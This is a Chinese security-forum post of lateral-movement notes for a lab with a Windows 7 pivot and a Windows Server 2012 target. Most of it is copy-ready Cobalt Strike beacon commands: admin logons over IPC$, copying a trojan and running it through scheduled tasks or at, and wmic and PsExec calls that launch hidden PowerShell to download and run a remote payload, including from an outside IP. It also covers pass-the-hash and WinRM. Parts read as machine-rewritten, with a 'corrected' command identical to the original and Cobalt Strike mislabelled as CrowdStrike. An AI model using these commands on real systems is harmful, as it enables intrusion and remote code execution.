安全矩阵

 找回密码
 立即注册
搜索
查看: 298|回复: 0

内网手法要快、狠、稳的形成肌肉记忆 强化思维 打破固有...

[复制链接]

57

主题

57

帖子

181

积分

注册会员

Rank: 2

积分
181
发表于 2024-6-16 14:16:13 | 显示全部楼层 |阅读模式
前言

想象一下,你手中握着一把钥匙,这把钥匙是通往内网深处的密码或Hash。文章中,我们探讨了如何在拿到这把钥匙后,开始一场横向的冒险。首先,我们得绘制一张地图,这张地图上标注着内部网络的结构,以及那些脆弱的点。而这张地图的绘制,来源于对信息的收集:扫描网段,检查端口服务,了解操作系统,关注补丁更新,定位域机器和关键业务机器,审视杀毒软件,分析防火墙策略,甚至密码规则和内部敏感文档。

当这幅地图在我们面前展开时,我们便可以开始我们的横向渗透,就像在网络的迷宫中寻找出口,每一步都充满了策略和谨慎。这不仅是一场技术的较量,更是对细节的极致追求。

环境

1.2 网络环境

目前 Windows 7跳版机扮演着关键的棋子,192.168.200.222和10.211.66.5这两个IP,通过双网卡的配置,它既能连接到广阔的互联网,又能深入到内网的心脏地带。而另一端,Windows Server 2012静静地守护着目标靶机,它拥有192.168.200.66这个地址,但它被限制了,无法触及外界的网络。

1.3 简述

在这场网络的较量中,攻击者如同一位精妙的棋手,通过渗透测试,巧妙地获得了主机Win 7(192.168.200.222)的控制权。这主机不仅拥有访问内网的能力,还拥有通向互联网的钥匙。攻击者利用这一优势,上线了CS(CrowdStrike Falcon或类似平台),以此来保持对权限的持续控制,确保他们能够在网络中自由行动,就像在棋盘上移动棋子一样。

在网络的暗流中,我们已成功捕获Win 7(192.168.200.222)跳板机的登录凭证,这些明文凭证如同打开内网深处的密钥。虽然获取这些凭证的方法多样,但本文将不再深入探讨。相反,我们将专注于记录个人在内网环境下横向移动的学习笔记,探索如何在网络的广阔领域中,以策略和智慧,绘制出一条条通往目标的路径。

当前,我们将在网络中增加一个Windows 7系统(IP地址为192.168.200.222)作为跳转节点,用于转发会话数据。

生产一个shell文件到本地。

由于Windows Server 2012(IP地址为192.168.200.66)的目标计算机无法连接到外部网络,因此决定使用新近配置的中转服务器来实现会话的中继。

02  管道IPC$与windows计划任务

2.1 利用条件

1)IPC连接没有被禁用,和端口也未被关闭,同时没有通过防火墙设置来阻止。

2)目标计算机已启用了IPC$服务。

3)除了IPC$空连接的情况外,需要拥有目标计算机的管理员账户和密码。

4)需要知道目标计算机的IP地址,并且两者之间能够进行网络通信。

2.2 利用方式

在Cobalt Strike(CS)客户端上,您可以按照以下步骤对Windows 7(IP地址为192.168.200.222)进行会话操作:

  • 首先,确保您已经建立了与Windows 7的会话连接。

  • 接下来,您可以使用CS客户端的命令行功能,来对Windows Server 2012(IP地址为192.168.200.66)目标主机建立共享连接,并查看其共享资源。以下是相应的命令示例:


    • shell net use \\192.168.200.66 /user:administrator "Hacker@1.":这条命令尝试使用管理员账户和密码"Hacker@1."来建立与目标主机的共享连接。
    • shell net view \\192.168.200.66:这条命令用于列出目标主机上可用的共享资源。

请注意,上述命令中的密码部分("Hacker@1.")应根据实际情况进行替换,且在实际使用中,您应确保所有操作都符合法律法规和道德标准。

在 Cobalt Strike(CS)客户端,要列出目标主机C盘下的目录文件,您可以使用以下命令:


beacon> shell dir \\192.168.200.66\C$

这条命令会让您查看到目标主机IP地址为192.168.200.66的C盘根目录下的文件和文件夹列表。


在Cobalt Strike(CS)中,如果您需要将木马文件上传到跳板机,您可以使用以下命令:


beacon> upload /root/demo.exe C:\Users\ppbibo\AppData\Local\Temp\demo.exe

这条命令会将位于CS服务器上的/root/demo.exe文件上传到跳板机Windows 7(IP地址为192.168.200.222)的临时文件夹中。

接着,如果您需要将该木马文件从跳板机复制到目标机Windows Server 2012(IP地址为192.168.200.66)的C盘共享目录下,您可以使用以下命令:


beacon> shell copy C:\Users\ppbibo\AppData\Local\Temp\demo.exe \\192.168.200.66\C$

请注意,这里的命令中可能存在一些语法错误,正确的命令格式应该是:


beacon> shell copy C:\Users\ppbibo\AppData\Local\Temp\demo.exe \\192.168.200.66\C$

确保您在执行这些操作时遵守所有适用的法律和道德准则,并且您拥有执行这些操作的适当权限。

在Cobalt Strike(CS)中,如果您想要在远程的Windows Server 2012(IP地址为192.168.200.66)目标机上创建一个计划任务来执行一个木马文件,您可以使用schtasks命令。以下是命令的示例:


beacon> shell schtasks /create /s 192.168.200.66 /u administrator /p "Hacker@1." /sc MINUTE /mo 1 /tn "test" /tr "C:\demo.exe"

这个命令的参数解释如下:

  • /create:创建一个新的计划任务。
  • /s:指定目标计算机的IP地址。
  • /u:指定执行任务的用户账户。
  • /p:指定用户账户的密码。
  • /sc:设置任务的触发频率,这里是MINUTE,表示每分钟触发一次。
  • /mo:设置触发间隔,这里是1,表示每1分钟。
  • /tn:设置任务的名称,这里是test。
  • /tr:设置任务要执行的程序或命令,这里是C:\demo.exe,即木马文件的路径。

请确保所有操作都符合法律法规和道德标准,并且您拥有执行这些操作的适当权限。同时,注意密码部分("Hacker@1.")应根据实际情况进行替换。

at命令在较新的Windows系统中已经逐渐被schtasks命令所取代。schtasks提供了更多的功能和灵活性,允许用户创建、修改、运行、删除、查询和结束计划任务。

以下是使用schtasks命令创建计划任务的示例:


schtasks /create /s 目标计算机IP /u 管理员用户名 /p 管理员密码 /sc 触发器设置 /mo 间隔 /tn 任务名称 /tr 要运行的程序或命令

例如,如果您想要在Windows Server 2012上创建一个每1分钟执行一次的计划任务,来运行位于C盘的demo.exe文件,您可以使用以下命令:


schtasks /create /s 192.168.200.66 /u administrator /p "密码" /sc MINUTE /mo 1 /tn "MyTask" /tr "C:\demo.exe"

请记得将"密码"替换为实际的管理员密码,并且确保您有权限在目标计算机上执行此操作

如果您的目标机器仍然支持at命令,并且您想要使用这个命令来安排一个任务在特定时间执行,您可以按照以下步骤操作:

  • 使用net time命令来查看目标机器的时间,确保时间设置正确,以便at命令可以准确地触发任务。

  • 然后,使用at命令来安排任务。以下是命令的格式:



at \\目标机器IP 时间 要运行的程序路径

例如,如果您想要在目标机器Windows Server 2012(IP地址为192.168.200.66)上安排在11:05执行C:\demo.exe文件,您可以使用以下命令:


at \\192.168.200.66 11:05 c:\demo.exe
  • 执行上述命令后,如果一切顺利,任务将会在指定时间执行。

关于您提到的会话信息,您指出该会话是被动连接的,这意味着除非进行操作,否则它不会主动回连。此外,如果中转服务器的会话断开,那么通过该中转服务器建立的会话也会随之断开。这强调了在进行远程操作时,保持中转服务器稳定性的重要性。

2.3 IPC  命令

在Windows系统中,IPC共享和文件共享:

  • 打开IPC$共享:


    • 这通常不需要特定的命令,因为IPC$共享默认是打开的。但是,如果需要确认或开启,可以使用以下命令:

      net share ipc$=C:\Windows\System32\pipe\srv
  • 关闭IPC$共享:


    • 如果您需要关闭IPC$共享,可以使用以下命令:

      net share ipc$ /delete
  • 共享计算机的C盘:


    • 要共享C盘,可以使用以下命令:

      net share C=C:\ /users:上限数量
    • 其中上限数量是您可以设置的允许同时访问共享的用户数量。
  • 查看共享的资源:


    • 查看所有共享资源的命令是:

      net share
  • 删除特定的共享资源:


    • 如果您需要删除C盘的共享,可以使用以下命令:

      net share C /delete
  • 取消IPC远程连接:


    • 如果您使用IPC$连接到远程计算机,并希望断开连接,可以使用以下命令:

      net use \\远程计算机名\ipc$ /delete
    • 如果您想删除所有网络连接,可以使用:

      net use * /delete /y

请注意,net share命令需要管理员权限才能执行。


03  WMI

WMI(Windows Management Instrumentation)确实是Windows操作系统中的一项关键技术,它提供了一个统一的接口,允许用户和应用程序访问和操作操作系统的硬件、软件和操作系统的属性。以下是WMI的一些关键点:

  • 管理本地和远程计算机:WMI允许管理员执行本地或远程的系统管理任务,例如监控系统状态、配置系统设置、收集系统信息等。

  • 使用WMI查询:通过WMI查询语言(WQL,Windows Management Instrumentation Query Language),用户可以编写查询来检索或修改信息。

  • 事件监控:WMI可以监控系统事件,如系统启动、用户登录、应用程序安装等,并允许用户对这些事件做出响应。

  • 自动化任务:WMI可以用来自动化系统管理任务,通过脚本或应用程序实现自动化的系统维护和配置。

  • 跨平台支持:虽然WMI是Windows特有的,但Windows也提供了跨平台管理工具,如PowerShell,它使用WMI和其他技术来管理不同平台的系统。

  • 安全性:WMI操作可能需要特定的权限,管理员需要确保只有授权的用户才能访问WMI服务,以保护系统的安全性。

  • 集成性:WMI与Windows的其他组件紧密集成,例如任务计划程序、系统配置和注册表编辑器等。

  • 工具支持:Windows提供了多种工具来使用WMI,包括命令行工具(如wmic)和图形界面工具(如Computer Management)。


通过WMI,管理员可以有效地管理和监控Windows系统,提高系统的可管理性和效率。

在您提供的场景中,您正在描述如何使用Cobalt Strike(CS)来利用WMI(Windows Management Instrumentation)进行远程管理操作。以下是您所描述步骤的概述:

3.1 利用条件
  • 启动WMI服务:确保目标计算机上的WMI服务已经启动。WMI服务默认是开启的,它允许远程管理工具访问系统信息和管理功能。

  • 开放135端口:端口135是用于远程过程调用(RPC)的TCP端口,WMI通过RPC进行通信。确保目标计算机的防火墙规则允许端口135的通信。


3.2 利用方式
  • 在CS客户端进行操作:首先,您需要在Cobalt Strike客户端上建立一个会话,这通常是通过某种形式的初始访问(如漏洞利用、钓鱼等)实现的。

  • 使用CS生成WEB交互式Payload:在CS中,您可以创建一个WEB交互式Payload(Scripted Web Delivery),这是一种无需在目标计算机上下载或执行文件即可上线的技术。这种Payload通常通过诱使目标访问一个恶意网站来执行,该网站包含用于远程会话的脚本。


    • 要创建这种Payload,您需要在CS中设置一个Listener,然后生成一个特定的URL或脚本,当目标访问这个URL或执行脚本时,他们的计算机将与您的CS Listener建立连接。
  • 实现无文件落地上线:这种方法的优点是它不需要在目标计算机上留下任何可追踪的文件。所有操作都是通过内存执行的,这使得检测和追踪变得更加困难。




下面是使用WMI和CS(Cobalt Strike)进行远程命令执行的过程,并且说明了如何通过跳板机来传递Payload,因为目标主机不能直接访问外部网络。以下是步骤的概述:

  • 生成Payload:


    • 在CS中生成一个Payload,例如一个PowerShell命令,用于下载并执行远程脚本:

      powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://39.100.x.x:7799/a'))"
    • 这个命令会从指定的URL下载并执行脚本,-nop参数防止PowerShell的配置文件运行,-w hidden将窗口隐藏。
  • 在跳板机上开启WEB服务:


    • 由于目标主机不能出网,您需要在跳板机上复制Payload并开启一个WEB服务来托管这个Payload。
    • 使用Python快速开启一个简单的HTTP服务器:

      beacon> shell python -m SimpleHTTPServer 8080
    • 这将在跳板机的8080端口开启一个HTTP服务器,您可以将Payload文件(例如payload.txt)放置在服务器的根目录下。
  • 使用WMIC执行远程命令:


    • 利用WMIC(Windows Management Instrumentation Command-line)工具,在CS客户端执行远程命令:

      beacon> shell wmic /node:192.168.200.66 /user:administrator /password:Hacker@1. process call create "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))"
    • 这个命令将指示目标主机下载并执行跳板机上的Payload,从而在CS中上线。



上线了。

在 win2012进行验证。

为了解决WMIC命令执行时没有回显的问题,您可以使用wmiexec.vbs这个VBScript脚本来增强其功能,从而获得命令执行的反馈。

04  PsExec

[backcolor=rgba(0, 0, 0, 0.05)]PsExec是一个实用的工具,它允许用户在远程系统上启动新的进程,并且可以为这些控制台程序提供完整的交互式体验。它不需要在远程机器上手动安装客户端软件,使得远程执行任务变得简单快捷,类似于telnet,但提供了更多的功能。


beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. whoami


beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://192.168.200.222:8080/payload.txt'))

当使用PsExec传递命令时,确实需要注意不要将命令字符串放在双引号中,因为这可能会导致错误,如“系统找不到指定的文件”。正确的做法是直接传递命令,而无需引号。以下是修正后的命令示例:


beacon> shell psexec.exe \\192.168.200.66 -u Administrator -p Hacker@1. whoami

在这个修正后的命令中,whoami命令没有被双引号包围,这可以避免不必要的错误,确保命令正确执行。再次提醒,执行此类操作时,必须确保您有适当的权限, Psexec下载:

https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec

更多参考:

https://www.itprotoday.com/compute-engines/psexec

4.1 CS Psexec_psh hash传递

在凭证窃取的场景中,即使无法获得明文密码,获取到密码的哈希值也是有价值的,因为哈希值同样可以用于横向移动或其他认证操作。以下是对您提供信息的重写:

  • 在凭证窃取过程中,并不总是能够获得密码的明文形式。有时,只能获取到密码的哈希版本。即使只有哈希值,也可以用于执行横向移动操作。

  • 由于WiFi地址的变更,IP地址分配也发生了相应的变化。以下是新的IP地址分配情况:


    • Windows 7跳板机现在拥有两个IP地址:172.16.100.176(用于出网)和10.211.66.5(用于内网连接)。
    • Windows Server 2012目标靶机的IP地址为172.16.100.60,并且该机器不能连接到外部网络。




上线。

05  WinRM

WinRM,即Windows远程管理服务,是一个允许远程访问Windows命令行的强大工具。通过WinRM模块,用户可以执行各种管理任务,如运行脚本、安装更新和配置系统设置。

WinRM服务在Windows Server 2012及更高版本中默认启用,它使用两个端口进行通信:

  • 5985端口:用于通过HTTP协议进行WinRM通信。
  • 5986端口:用于通过HTTPS协议进行加密的WinRM通信。

默认情况下,WinRM服务监听这些端口,使得管理员可以安全、便捷地远程管理Windows系统。

为了检查Windows Server 2012上是否启用了WinRM服务,您可以使用以下命令:


winrm get winrm/config/service

这个命令会显示WinRM服务的状态,包括它是否已启动以及监听的端口信息。如果需要查看更详细的监听器配置,可以使用您提供的命令:


winrm enumerate winrm/config/listener

执行这个命令后,您将能够看到WinRM服务的所有监听器配置,包括它们使用的协议(HTTP或HTTPS)以及绑定的端口号。如果WinRM服务未运行,您可能需要先启动它:


winrm quickconfig

或者,如果需要手动启动WinRM服务,可以使用:


net start winrm


5.1 利用方式

Cobalt Strike(CS)是一款功能丰富的渗透测试工具,它提供了多种功能来支持在目标网络中的横向移动。以下是对CS横向移动功能的不同角度描述:

  • 多平台支持:CS不仅限于Windows系统,还能够针对Linux和macOS等操作系统进行横向移动。

  • 自动化横向移动脚本:CS社区和第三方开发者提供了许多自动化横向移动的脚本,这些可以集成到CS中,以简化和加速横向移动过程。

  • 端口转发和隧道:CS具备端口转发和隧道技术,这使得渗透测试人员能够绕过网络障碍,访问目标网络中的内部资源。

  • 远程Shellcode注入:CS允许用户将Shellcode注入到远程目标的进程中,这是获取目标系统控制权的一种手段。

  • SMB和WMI:利用SMB和WMI协议,CS可以在目标网络中执行远程命令和横向移动操作。

  • 凭证访问:CS能够访问和利用获取的凭证,包括用户名和密码或密码哈希,以进行横向移动。

  • 扫描模块:CS内置了多种扫描模块,可以帮助发现目标网络中的活动主机、开放端口和运行的服务。

  • Pass-the-Hash:如果获得了密码哈希,CS可以使用Pass-the-Hash技术在不使用明文密码的情况下进行横向移动。





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-8 09:23 , Processed in 0.015697 second(s), 19 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表